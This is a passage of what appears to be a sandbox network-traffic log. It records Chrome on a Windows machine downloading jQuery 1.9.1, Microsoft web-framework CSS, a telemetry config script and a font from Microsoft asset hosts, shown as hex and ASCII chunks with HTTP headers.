2025-03-13 09:49:00 UTC	15933	IN	Data Raw: 30 30 30 30 42 35 33 39 0d 0a 2f 2a 21 20 6a 51 75 65 72 79 20 76 31 2e 39 2e 31 20 7c 20 28 63 29 20 32 30 30 35 2c 20 32 30 31 32 20 6a 51 75 65 72 79 20 46 6f 75 6e 64 61 74 69 6f 6e 2c 20 49 6e 63 2e 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 0a 2f 2f 40 20 73 6f 75 72 63 65 4d 61 70 70 69 6e 67 55 52 4c 3d 6a 71 75 65 72 79 2e 6d 69 6e 2e 6d 61 70 0a 2a 2f 28 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 2c 72 2c 69 3d 74 79 70 65 6f 66 20 74 2c 6f 3d 65 2e 64 6f 63 75 6d 65 6e 74 2c 61 3d 65 2e 6c 6f 63 61 74 69 6f 6e 2c 73 3d 65 2e 6a 51 75 65 72 79 2c 75 3d 65 2e 24 2c 6c 3d 7b 7d 2c 63 3d 5b 5d 2c 70 3d 22 31 2e 39 2e 31 22 2c 66 3d 63 2e 63 6f 6e 63 61 74 2c 64 3d 63 2e 70 75 73 68 2c 68 3d 63 2e 73 6c 69 63 65 2c Data Ascii: 0000B539/! jQuery v1.9.1 \| (c) 2005, 2012 jQuery Foundation, Inc. \| jquery.org/license//@ sourceMappingURL=jquery.min.map/(function(e,t){var n,r,i=typeof t,o=e.document,a=e.location,s=e.jQuery,u=e.$,l={},c=[],p="1.9.1",f=c.concat,d=c.push,h=c.slice,
2025-03-13 09:49:00 UTC	15905	IN	Data Raw: 3e 31 2c 6e 75 6c 6c 2c 21 30 29 7d 2c 72 65 6d 6f 76 65 44 61 74 61 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 65 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 62 2e 72 65 6d 6f 76 65 44 61 74 61 28 74 68 69 73 2c 65 29 7d 29 7d 7d 29 3b 66 75 6e 63 74 69 6f 6e 20 57 28 65 2c 6e 2c 72 29 7b 69 66 28 72 3d 3d 3d 74 26 26 31 3d 3d 3d 65 2e 6e 6f 64 65 54 79 70 65 29 7b 76 61 72 20 69 3d 22 64 61 74 61 2d 22 2b 6e 2e 72 65 70 6c 61 63 65 28 42 2c 22 2d 24 31 22 29 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 3b 69 66 28 72 3d 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 69 29 2c 22 73 74 72 69 6e 67 22 3d 3d 74 79 70 65 6f 66 20 72 29 7b 74 72 79 7b 72 3d 22 74 72 75 65 22 3d 3d 3d 72 3f 21 30 3a 22 66 61 6c 73 65 22 3d 3d 3d 72 Data Ascii: >1,null,!0)},removeData:function(e){return this.each(function(){b.removeData(this,e)})}});function W(e,n,r){if(r===t&&1===e.nodeType){var i="data-"+n.replace(B,"-$1").toLowerCase();if(r=e.getAttribute(i),"string"==typeof r){try{r="true"===r?!0:"false"===r
2025-03-13 09:49:00 UTC	14567	IN	Data Raw: 61 6c 45 76 65 6e 74 3b 74 68 69 73 2e 69 73 50 72 6f 70 61 67 61 74 69 6f 6e 53 74 6f 70 70 65 64 3d 69 74 2c 65 26 26 28 65 2e 73 74 6f 70 50 72 6f 70 61 67 61 74 69 6f 6e 26 26 65 2e 73 74 6f 70 50 72 6f 70 61 67 61 74 69 6f 6e 28 29 2c 65 2e 63 61 6e 63 65 6c 42 75 62 62 6c 65 3d 21 30 29 7d 2c 73 74 6f 70 49 6d 6d 65 64 69 61 74 65 50 72 6f 70 61 67 61 74 69 6f 6e 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 69 73 49 6d 6d 65 64 69 61 74 65 50 72 6f 70 61 67 61 74 69 6f 6e 53 74 6f 70 70 65 64 3d 69 74 2c 74 68 69 73 2e 73 74 6f 70 50 72 6f 70 61 67 61 74 69 6f 6e 28 29 7d 7d 2c 62 2e 65 61 63 68 28 7b 6d 6f 75 73 65 65 6e 74 65 72 3a 22 6d 6f 75 73 65 6f 76 65 72 22 2c 6d 6f 75 73 65 6c 65 61 76 65 3a 22 6d 6f 75 73 65 6f 75 74 22 7d 2c 66 75 Data Ascii: alEvent;this.isPropagationStopped=it,e&&(e.stopPropagation&&e.stopPropagation(),e.cancelBubble=!0)},stopImmediatePropagation:function(){this.isImmediatePropagationStopped=it,this.stopPropagation()}},b.each({mouseenter:"mouseover",mouseleave:"mouseout"},fu
2025-03-13 09:49:00 UTC	16384	IN	Data Raw: 30 30 30 30 38 30 30 30 0d 0a 2c 74 29 7b 76 61 72 20 6e 2c 72 3d 69 2e 70 73 65 75 64 6f 73 5b 65 5d 7c 7c 69 2e 73 65 74 46 69 6c 74 65 72 73 5b 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 5d 7c 7c 73 74 2e 65 72 72 6f 72 28 22 75 6e 73 75 70 70 6f 72 74 65 64 20 70 73 65 75 64 6f 3a 20 22 2b 65 29 3b 72 65 74 75 72 6e 20 72 5b 78 5d 3f 72 28 74 29 3a 72 2e 6c 65 6e 67 74 68 3e 31 3f 28 6e 3d 5b 65 2c 65 2c 22 22 2c 74 5d 2c 69 2e 73 65 74 46 69 6c 74 65 72 73 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 28 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 29 3f 6f 74 28 66 75 6e 63 74 69 6f 6e 28 65 2c 6e 29 7b 76 61 72 20 69 2c 6f 3d 72 28 65 2c 74 29 2c 61 3d 6f 2e 6c 65 6e 67 74 68 3b 77 68 69 6c 65 28 61 2d 2d 29 69 3d 4d 2e 63 61 6c 6c 28 65 2c 6f 5b Data Ascii: 00008000,t){var n,r=i.pseudos[e]\|\|i.setFilters[e.toLowerCase()]\|\|st.error("unsupported pseudo: "+e);return r[x]?r(t):r.length>1?(n=[e,e,"",t],i.setFilters.hasOwnProperty(e.toLowerCase())?ot(function(e,n){var i,o=r(e,t),a=o.length;while(a--)i=M.call(e,o[
2025-03-13 09:49:00 UTC	16384	IN	Data Raw: 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 21 3d 3d 69 3f 65 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 6e 7c 7c 22 2a 22 29 3a 74 3b 69 66 28 21 73 29 66 6f 72 28 73 3d 5b 5d 2c 72 3d 65 2e 63 68 69 6c 64 4e 6f 64 65 73 7c 7c 65 3b 6e 75 6c 6c 21 3d 28 6f 3d 72 5b 61 5d 29 3b 61 2b 2b 29 21 6e 7c 7c 62 2e 6e 6f 64 65 4e 61 6d 65 28 6f 2c 6e 29 3f 73 2e 70 75 73 68 28 6f 29 3a 62 2e 6d 65 72 67 65 28 73 2c 4f 74 28 6f 2c 6e 29 29 3b 72 65 74 75 72 6e 20 6e 3d 3d 3d 74 7c 7c 6e 26 26 62 2e 6e 6f 64 65 4e 61 6d 65 28 65 2c 6e 29 3f 62 2e 6d 65 72 67 65 28 5b 65 5d 2c 73 29 3a 73 7d 66 75 6e 63 74 69 6f 6e 20 42 74 28 65 29 7b 4e 74 2e 74 65 73 74 28 65 2e 74 79 70 65 29 26 26 28 65 2e 64 65 66 61 75 6c 74 43 68 65 63 6b 65 64 3d 65 2e 63 68 65 63 6b Data Ascii: rySelectorAll!==i?e.querySelectorAll(n\|\|"*"):t;if(!s)for(s=[],r=e.childNodes\|\|e;null!=(o=r[a]);a++)!n\|\|b.nodeName(o,n)?s.push(o):b.merge(s,Ot(o,n));return n===t\|\|n&&b.nodeName(e,n)?b.merge([e],s):s}function Bt(e){Nt.test(e.type)&&(e.defaultChecked=e.check
2025-03-13 09:49:00 UTC	10	IN	Data Raw: 75 5b 2b 2b 73 5d 3b 29 69 66 Data Ascii: u[++s];)if
2025-03-13 09:49:00 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2025-03-13 09:49:00 UTC	13299	IN	Data Raw: 30 30 30 30 33 33 45 37 0d 0a 28 22 2a 22 21 3d 3d 72 29 7b 69 66 28 22 2a 22 21 3d 3d 6c 26 26 6c 21 3d 3d 72 29 7b 69 66 28 69 3d 61 5b 6c 2b 22 20 22 2b 72 5d 7c 7c 61 5b 22 2a 20 22 2b 72 5d 2c 21 69 29 66 6f 72 28 6e 20 69 6e 20 61 29 69 66 28 6f 3d 6e 2e 73 70 6c 69 74 28 22 20 22 29 2c 6f 5b 31 5d 3d 3d 3d 72 26 26 28 69 3d 61 5b 6c 2b 22 20 22 2b 6f 5b 30 5d 5d 7c 7c 61 5b 22 2a 20 22 2b 6f 5b 30 5d 5d 29 29 7b 69 3d 3d 3d 21 30 3f 69 3d 61 5b 6e 5d 3a 61 5b 6e 5d 21 3d 3d 21 30 26 26 28 72 3d 6f 5b 30 5d 2c 75 2e 73 70 6c 69 63 65 28 73 2d 2d 2c 30 2c 72 29 29 3b 62 72 65 61 6b 7d 69 66 28 69 21 3d 3d 21 30 29 69 66 28 69 26 26 65 5b 22 74 68 72 6f 77 73 22 5d 29 74 3d 69 28 74 29 3b 65 6c 73 65 20 74 72 79 7b 74 3d 69 28 74 29 7d 63 61 74 63 68 Data Ascii: 000033E7(""!==r){if(""!==l&&l!==r){if(i=a[l+" "+r]\|\|a["* "+r],!i)for(n in a)if(o=n.split(" "),o[1]===r&&(i=a[l+" "+o[0]]\|\|a["* "+o[0]])){i===!0?i=a[n]:a[n]!==!0&&(r=o[0],u.splice(s--,0,r));break}if(i!==!0)if(i&&e["throws"])t=i(t);else try{t=i(t)}catch
2025-03-13 09:49:00 UTC	193	IN	Data Raw: 30 30 30 30 30 30 42 35 0d 0a 3d 3d 3d 74 3f 62 2e 63 73 73 28 6e 2c 72 2c 73 29 3a 62 2e 73 74 79 6c 65 28 6e 2c 72 2c 69 2c 73 29 7d 2c 6e 2c 61 3f 69 3a 74 2c 61 2c 6e 75 6c 6c 29 7d 7d 29 7d 29 2c 65 2e 6a 51 75 65 72 79 3d 65 2e 24 3d 62 2c 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 26 26 64 65 66 69 6e 65 2e 61 6d 64 2e 6a 51 75 65 72 79 26 26 64 65 66 69 6e 65 28 22 6a 71 75 65 72 79 22 2c 5b 5d 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 62 7d 29 7d 29 28 77 69 6e 64 6f 77 29 3b 0d 0a Data Ascii: 000000B5===t?b.css(n,r,s):b.style(n,r,i,s)},n,a?i:t,a,null)}})}),e.jQuery=e.$=b,"function"==typeof define&&define.amd&&define.amd.jQuery&&define("jquery",[],function(){return b})})(window);
2025-03-13 09:49:00 UTC	12	IN	Data Raw: 30 30 30 30 30 30 30 30 0d 0a 0d 0a Data Ascii: 00000000

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49743	23.192.243.7	443	6688	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-13 09:48:59 UTC	649	OUT	GET /cdnfiles/external/mwf/long/v1/v1.25.0/css/mwf-west-european-default.min.css HTTP/1.1 Host: assets.onestore.ms Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: text/css,/;q=0.1 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Sec-Fetch-Storage-Access: active Referer: https://www.microsoft.com/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-13 09:49:00 UTC	864	IN	HTTP/1.1 200 OK Content-Type: text/css Content-MD5: Et0eTQSFqAGEs20VgBjegQ== Last-Modified: Tue, 26 Sep 2017 18:08:52 GMT ETag: "0x8D50509A4C57014" Server: Windows-Azure-Blob/1.0 Microsoft-HTTPAPI/2.0 x-ms-lease-state: available Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-lease-state,x-ms-blob-type,Accept-Ranges,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * X-Content-Type-Options: nosniff X-Content-Type-Options: nosniff X-Content-Type-Options: nosniff X-Content-Type-Options: nosniff X-Content-Type-Options: nosniff X-Content-Type-Options: nosniff Cache-Control: max-age=31536000 Date: Thu, 13 Mar 2025 09:49:00 GMT Transfer-Encoding: chunked Connection: close Connection: Transfer-Encoding X-Content-Type-Options: nosniff
2025-03-13 09:49:00 UTC	15520	IN	Data Raw: 30 30 30 30 36 30 30 30 0d 0a 40 63 68 61 72 73 65 74 20 22 55 54 46 2d 38 22 3b 2f 2a 21 20 40 6d 73 2d 6d 77 66 2f 6d 77 66 20 2d 20 76 31 2e 32 35 2e 30 2b 36 33 32 31 39 33 34 20 7c 20 43 6f 70 79 72 69 67 68 74 20 32 30 31 37 20 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 20 7c 20 54 68 69 73 20 73 6f 66 74 77 61 72 65 20 69 73 20 62 61 73 65 64 20 6f 6e 20 6f 72 20 69 6e 63 6f 72 70 6f 72 61 74 65 73 20 6d 61 74 65 72 69 61 6c 20 66 72 6f 6d 20 74 68 65 20 66 69 6c 65 73 20 6c 69 73 74 65 64 20 62 65 6c 6f 77 20 28 63 6f 6c 6c 65 63 74 69 76 65 6c 79 2c 20 22 54 68 69 72 64 20 50 61 72 74 79 20 43 6f 64 65 22 29 2e 20 4d 69 63 72 6f 73 6f 66 74 20 69 73 20 6e 6f 74 20 74 68 65 20 6f 72 69 67 69 6e 61 6c 20 61 75 74 68 6f 72 20 6f Data Ascii: 00006000@charset "UTF-8";/*! @ms-mwf/mwf - v1.25.0+6321934 \| Copyright 2017 Microsoft Corporation \| This software is based on or incorporates material from the files listed below (collectively, "Third Party Code"). Microsoft is not the original author o
2025-03-13 09:49:00 UTC	9068	IN	Data Raw: 6c 6f 63 6b 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 78 2d 68 69 64 64 65 6e 2d 76 70 31 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 40 6d 65 64 69 61 20 61 6c 6c 20 61 6e 64 20 28 6d 69 6e 2d 77 69 64 74 68 3a 35 34 30 70 78 29 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 36 37 70 78 29 7b 2e 78 2d 76 69 73 69 62 6c 65 2d 76 70 32 2d 62 6c 6f 63 6b 7b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 78 2d 76 69 73 69 62 6c 65 2d 76 70 32 2d 69 6e 6c 69 6e 65 7b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 78 2d 76 69 73 69 62 6c 65 2d 76 70 32 2d 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 7b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 21 69 6d 70 6f 72 74 Data Ascii: lock!important}.x-hidden-vp1{display:none!important}}@media all and (min-width:540px) and (max-width:767px){.x-visible-vp2-block{display:block!important}.x-visible-vp2-inline{display:inline!important}.x-visible-vp2-inline-block{display:inline-block!import
2025-03-13 09:49:00 UTC	16384	IN	Data Raw: 30 30 30 30 36 30 30 30 0d 0a 65 69 67 68 74 2c 62 75 74 74 6f 6e 2e 63 2d 61 63 74 69 6f 6e 2d 74 72 69 67 67 65 72 2e 66 2d 68 65 61 76 79 77 65 69 67 68 74 7b 70 61 64 64 69 6e 67 3a 36 70 78 20 31 30 70 78 20 38 70 78 3b 62 6f 72 64 65 72 3a 32 70 78 20 73 6f 6c 69 64 20 74 72 61 6e 73 70 61 72 65 6e 74 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 30 30 36 37 42 38 3b 74 72 61 6e 73 69 74 69 6f 6e 3a 73 63 61 6c 65 20 2e 32 73 20 65 61 73 65 2d 69 6e 2d 6f 75 74 7d 61 2e 63 2d 61 63 74 69 6f 6e 2d 74 72 69 67 67 65 72 2e 66 2d 68 65 61 76 79 77 65 69 67 68 74 2e 63 2d 67 6c 79 70 68 2c 62 75 74 74 6f 6e 2e 63 2d 61 63 74 69 6f 6e 2d 74 72 69 67 67 65 72 2e 66 2d 68 65 61 76 79 77 65 69 67 68 74 2e 63 2d 67 6c 79 70 68 7b 70 Data Ascii: 00006000eight,button.c-action-trigger.f-heavyweight{padding:6px 10px 8px;border:2px solid transparent;color:#FFF;background:#0067B8;transition:scale .2s ease-in-out}a.c-action-trigger.f-heavyweight.c-glyph,button.c-action-trigger.f-heavyweight.c-glyph{p
2025-03-13 09:49:00 UTC	8204	IN	Data Raw: 5d 2e 66 2d 6c 69 67 68 74 77 65 69 67 68 74 3a 61 63 74 69 76 65 2c 2e 74 68 65 6d 65 2d 6c 69 67 68 74 20 62 75 74 74 6f 6e 2e 63 2d 62 75 74 74 6f 6e 2e 66 2d 6c 69 67 68 74 77 65 69 67 68 74 3a 61 63 74 69 76 65 7b 63 6f 6c 6f 72 3a 72 67 62 61 28 30 2c 30 2c 30 2c 2e 38 29 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 61 2e 63 2d 62 75 74 74 6f 6e 5b 72 6f 6c 65 3d 62 75 74 74 6f 6e 5d 2e 66 2d 6c 69 67 68 74 77 65 69 67 68 74 3a 66 6f 63 75 73 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 62 75 74 74 6f 6e 2e 63 2d 62 75 74 74 6f 6e 2e 66 2d 6c 69 67 68 74 77 65 69 67 68 74 3a 66 6f 63 75 73 2c 2e 74 68 65 6d 65 2d 6c 69 67 68 74 20 2e 74 68 65 6d 65 2d 64 61 72 6b 20 61 2e 63 2d 62 75 74 74 6f 6e 5b 72 6f 6c 65 3d 62 75 74 74 6f 6e 5d 2e 66 2d 6c 69 67 68 74 77 Data Ascii: ].f-lightweight:active,.theme-light button.c-button.f-lightweight:active{color:rgba(0,0,0,.8)}.theme-dark a.c-button[role=button].f-lightweight:focus,.theme-dark button.c-button.f-lightweight:focus,.theme-light .theme-dark a.c-button[role=button].f-lightw
2025-03-13 09:49:00 UTC	16384	IN	Data Raw: 30 30 30 30 34 30 30 30 0d 0a 64 2d 63 6f 6c 6f 72 3a 72 67 62 61 28 32 35 35 2c 32 35 35 2c 32 35 35 2c 2e 32 29 3b 63 6f 6c 6f 72 3a 72 67 62 61 28 32 35 35 2c 32 35 35 2c 32 35 35 2c 2e 32 29 7d 61 2e 63 2d 63 61 6c 6c 2d 74 6f 2d 61 63 74 69 6f 6e 2c 62 75 74 74 6f 6e 2e 63 2d 63 61 6c 6c 2d 74 6f 2d 61 63 74 69 6f 6e 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 33 70 78 3b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 6d 61 78 2d 77 69 64 74 68 3a 31 30 30 25 3b 70 61 64 64 69 6e 67 3a 31 30 70 78 20 32 32 70 78 20 37 70 78 20 32 34 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 3b 62 6f 72 64 65 72 3a 32 70 78 20 73 6f 6c 69 64 20 74 72 61 6e 73 70 61 72 65 6e 74 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 Data Ascii: 00004000d-color:rgba(255,255,255,.2);color:rgba(255,255,255,.2)}a.c-call-to-action,button.c-call-to-action{font-size:13px;display:inline-block;max-width:100%;padding:10px 22px 7px 24px;overflow:hidden;border:2px solid transparent;color:#FFF;background:#
2025-03-13 09:49:00 UTC	12	IN	Data Raw: 69 6f 6e 3a 6f 70 61 63 69 74 0d 0a Data Ascii: ion:opacit
2025-03-13 09:49:00 UTC	16384	IN	Data Raw: 30 30 30 30 34 30 30 30 0d 0a 79 20 63 75 62 69 63 2d 62 65 7a 69 65 72 28 2e 31 36 2c 31 2c 2e 32 39 2c 2e 39 39 29 20 2e 31 35 7d 2e 63 2d 63 61 72 6f 75 73 65 6c 2e 66 2d 6d 75 6c 74 69 2d 73 6c 69 64 65 3a 68 6f 76 65 72 20 2e 63 2d 66 6c 69 70 70 65 72 7b 6f 70 61 63 69 74 79 3a 2e 38 7d 2e 63 2d 63 61 72 6f 75 73 65 6c 2e 66 2d 6d 75 6c 74 69 2d 73 6c 69 64 65 3a 68 6f 76 65 72 20 2e 63 2d 66 6c 69 70 70 65 72 3a 68 6f 76 65 72 7b 6f 70 61 63 69 74 79 3a 31 7d 2e 63 2d 63 61 72 6f 75 73 65 6c 2e 66 2d 6d 75 6c 74 69 2d 73 6c 69 64 65 3a 68 6f 76 65 72 20 2e 63 2d 66 6c 69 70 70 65 72 3a 61 63 74 69 76 65 2c 2e 63 2d 66 6c 69 70 70 65 72 7b 6f 70 61 63 69 74 79 3a 2e 38 7d 2e 63 2d 63 61 72 6f 75 73 65 6c 2e 66 2d 6d 75 6c 74 69 2d 73 6c 69 64 65 2e Data Ascii: 00004000y cubic-bezier(.16,1,.29,.99) .15}.c-carousel.f-multi-slide:hover .c-flipper{opacity:.8}.c-carousel.f-multi-slide:hover .c-flipper:hover{opacity:1}.c-carousel.f-multi-slide:hover .c-flipper:active,.c-flipper{opacity:.8}.c-carousel.f-multi-slide.
2025-03-13 09:49:00 UTC	12	IN	Data Raw: 2d 64 61 74 65 2d 74 69 6d 65 0d 0a Data Ascii: -date-time
2025-03-13 09:49:00 UTC	16384	IN	Data Raw: 30 30 30 30 36 30 30 30 0d 0a 2d 70 69 63 6b 65 72 3d 64 61 74 65 5d 20 5b 64 61 74 61 2d 64 61 74 65 2d 74 69 6d 65 2d 70 69 63 6b 65 72 3d 79 65 61 72 5d 7b 66 6c 6f 61 74 3a 6c 65 66 74 3b 2d 6d 73 2d 66 6c 65 78 3a 30 20 30 20 61 75 74 6f 3b 66 6c 65 78 3a 30 20 30 20 61 75 74 6f 3b 77 69 64 74 68 3a 38 30 70 78 7d 2e 63 2d 64 61 74 65 2d 74 69 6d 65 2d 70 69 63 6b 65 72 5b 64 61 74 61 2d 64 61 74 65 2d 74 69 6d 65 2d 70 69 63 6b 65 72 3d 74 69 6d 65 5d 7b 77 69 64 74 68 3a 32 34 30 70 78 3b 64 69 73 70 6c 61 79 3a 2d 6d 73 2d 66 6c 65 78 62 6f 78 3b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 2d 6d 73 2d 66 6c 65 78 2d 70 61 63 6b 3a 6a 75 73 74 69 66 79 3b 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 73 70 61 63 65 2d 62 65 74 77 65 65 6e 3b 2d 6d 73 Data Ascii: 00006000-picker=date] [data-date-time-picker=year]{float:left;-ms-flex:0 0 auto;flex:0 0 auto;width:80px}.c-date-time-picker[data-date-time-picker=time]{width:240px;display:-ms-flexbox;display:flex;-ms-flex-pack:justify;justify-content:space-between;-ms
2025-03-13 09:49:00 UTC	8204	IN	Data Raw: 29 20 64 61 73 68 65 64 20 31 70 78 7d 2e 63 2d 64 69 61 6c 6f 67 2e 66 2d 66 6c 6f 77 20 5b 72 6f 6c 65 3d 64 69 61 6c 6f 67 5d 3e 2e 63 2d 67 6c 79 70 68 3a 61 63 74 69 76 65 2c 2e 63 2d 64 69 61 6c 6f 67 2e 66 2d 6c 69 67 68 74 62 6f 78 20 5b 72 6f 6c 65 3d 64 69 61 6c 6f 67 5d 3e 2e 63 2d 67 6c 79 70 68 3a 61 63 74 69 76 65 7b 63 6f 6c 6f 72 3a 23 30 30 30 7d 2e 63 2d 64 69 61 6c 6f 67 2e 66 2d 66 6c 6f 77 20 5b 72 6f 6c 65 3d 64 69 61 6c 6f 67 5d 3e 2e 63 2d 67 6c 79 70 68 3a 62 65 66 6f 72 65 2c 2e 63 2d 64 69 61 6c 6f 67 2e 66 2d 6c 69 67 68 74 62 6f 78 20 5b 72 6f 6c 65 3d 64 69 61 6c 6f 67 5d 3e 2e 63 2d 67 6c 79 70 68 3a 62 65 66 6f 72 65 7b 6d 61 72 67 69 6e 3a 31 30 70 78 3b 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 3a 6d 69 64 64 6c 65 7d 2e Data Ascii: ) dashed 1px}.c-dialog.f-flow [role=dialog]>.c-glyph:active,.c-dialog.f-lightbox [role=dialog]>.c-glyph:active{color:#000}.c-dialog.f-flow [role=dialog]>.c-glyph:before,.c-dialog.f-lightbox [role=dialog]>.c-glyph:before{margin:10px;vertical-align:middle}.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	49747	2.19.106.98	443	6688	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-13 09:49:03 UTC	625	OUT	GET /en-us/CMSScripts/script.jsx?k=f65ecb70-094d-0b11-7c9d-7da1bcadfaa7 HTTP/1.1 Host: c.s-microsoft.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Sec-Fetch-Storage-Access: active Referer: https://www.microsoft.com/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-13 09:49:03 UTC	683	IN	HTTP/1.1 200 OK Content-Type: text/javascript Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept ETag: "mGRIynuDW01ODTrRi/ieMQ==" P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" X-Frame-Options: SAMEORIGIN x-sitemuse-origin: Azure x-azure-ref: 20241204T160021Z-15b54885d96gb6rwhC1FRAx2vs000000064000000000knq1 Cache-Control: private, max-age=297411 Expires: Sun, 16 Mar 2025 20:25:54 GMT Date: Thu, 13 Mar 2025 09:49:03 GMT Content-Length: 513 Connection: close Access-Control-Allow-Methods: GET,POST Access-Control-Allow-Origin: *
2025-03-13 09:49:03 UTC	513	IN	Data Raw: 76 61 72 20 6a 73 6c 6c 43 6f 6e 66 69 67 3d 7b 75 73 65 44 65 66 61 75 6c 74 43 6f 6e 74 65 6e 74 4e 61 6d 65 3a 21 30 2c 73 79 6e 63 4d 75 69 64 3a 21 30 2c 61 75 74 68 4d 65 74 68 6f 64 3a 41 55 54 48 4d 45 54 48 4f 44 2c 69 73 4c 6f 67 67 65 64 49 6e 3a 49 53 4c 4f 47 47 45 44 49 4e 3d 3d 3d 75 6e 64 65 66 69 6e 65 64 7c 7c 49 53 4c 4f 47 47 45 44 49 4e 21 3d 3d 22 54 72 75 65 22 3f 21 31 3a 21 30 2c 6d 75 69 64 44 6f 6d 61 69 6e 3a 4d 55 49 44 44 4f 4d 41 49 4e 7c 7c 22 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 22 2c 75 73 65 53 68 6f 72 74 4e 61 6d 65 46 6f 72 43 6f 6e 74 65 6e 74 42 6c 6f 62 3a 21 31 2c 61 75 74 6f 43 61 70 74 75 72 65 3a 7b 70 61 67 65 56 69 65 77 3a 21 30 2c 6f 6e 4c 6f 61 64 3a 21 30 2c 6f 6e 55 6e 6c 6f 61 64 3a 21 30 2c 63 6c 69 Data Ascii: var jsllConfig={useDefaultContentName:!0,syncMuid:!0,authMethod:AUTHMETHOD,isLoggedIn:ISLOGGEDIN===undefined\|\|ISLOGGEDIN!=="True"?!1:!0,muidDomain:MUIDDOMAIN\|\|"microsoft.com",useShortNameForContentBlob:!1,autoCapture:{pageView:!0,onLoad:!0,onUnload:!0,cli

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.5	49748	23.192.243.7	443	6688	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-13 09:49:03 UTC	687	OUT	GET /cdnfiles/external/mwf/long/v1/v1.25.0/fonts/MWFMDL2.ttf HTTP/1.1 Host: assets.onestore.ms Connection: keep-alive Origin: https://www.microsoft.com sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: font Referer: https://assets.onestore.ms/cdnfiles/external/mwf/long/v1/v1.25.0/css/mwf-west-european-default.min.css Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
